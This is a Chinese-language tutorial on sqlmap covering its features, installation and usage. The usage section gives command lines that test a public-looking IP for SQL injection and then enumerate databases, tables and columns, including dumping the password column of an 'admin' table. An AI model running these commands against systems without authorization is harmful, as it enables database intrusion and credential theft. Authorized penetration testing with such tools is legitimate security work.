一、概述
1.1 简介
sqlmap是一款非常强大的开源sql自动化注入工具,可以用来检测和利用sql注入漏洞。它是由python语言编写而成。因此使用sqlmap时,需要在python环境中运行。
1.2 功能点
- 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
- 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
- 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
- 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
- 支持自动识别密码哈希格式并通过字典破解密码哈希。
- 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
- 支持在数据库管理系统中搜索指定的数据库名、表名或列名。
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
- 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
二、安装
2.1 环境要求
Python2.7(python3不支持)
2.2 安装步骤
- 在sqlmap官网http://sqlmap.org/下载最新版本的sqlmap安装包(目前最新版本为1.3.2-25)。如下图所示:
-
将下载下来的安装包sqlmapproject-sqlmap-1.3.2-25-gaf890d6.zip解压到自己想存放的目录并重命名,这里以D盘为例,并将解压后的文件重命名为sqlmap。解压后的目录结构如下图所示:
验证sqlmap是否安装完成,可进行如下操作进行验证:
-
打开cmd窗口,进入到python的安装目录(这里如果配置了python环境变量,则不需要进入到此目录):
- 执行如下命令:
python D:\sqlmap\sqlmap.py --version
若显示sqlmap版本号,则安装成功。如下图所示:
三、使用
3.1 初级用法
3.1.1 检测注入点
- GET注入
python D:\sqlmap\sqlmap.py -u http://117.41.229.122:8003/?id=1
说明:
-u:指定注入点,后面直接跟上待测的目标url。
如果出现如下红框中的格式内容,则存在sql注入;如果没有,则不一定存在注入,可进一步进行渗透。
红框中显示了存在注入点的参数及注入的方式和内容。
- POST注入
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --batch
说明:
-r:指定注入点,后面直接跟上文件名称,该文件记录了发送请求的报文,该报文可以利用抓包工具fiddle或burpsuit等获取。
3.1.2 暴库
所谓暴库,就是利用已有sql漏洞对数据库进行深层次的数据挖掘。暴库的一般过程如下:
数据库------>表------>列------->数据
-
列出数据库:--dbs
-
列出数据库下的表:-D maoshe --tables
-
列出表中的列:-D maoshe -T admin --columns
-
列出表中固定列的数据:-D maoshe -T admin –C password --dump
-
若获取表中的所有数据,则直接使用-D maoshe -T admin --dump
3.2 高级用法
- 指定数据库 --dbms “Oracle”
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --dbms "oracle" --batch
- 指定注入等级 --level
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --level 2 --batch
- 指定注入风险级别 --risk
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --risk 2 --batch
- 不使用缓存 --purge
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --purge --batch
- 指定参数 -p
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt -p username --batch
- 使用持久的http连接 --keep-alive
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --keep-alive --batch
- 请求并发量 --threads
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt --threads 4 --batch
- 开启所有的优化开关 -o
python D:\sqlmap\sqlmap.py -r C:\Users\Ramboo\Desktop\1.txt -o --batch
sqlmap的参数还有很多,在这里不一一列举,可参考网上相关教程。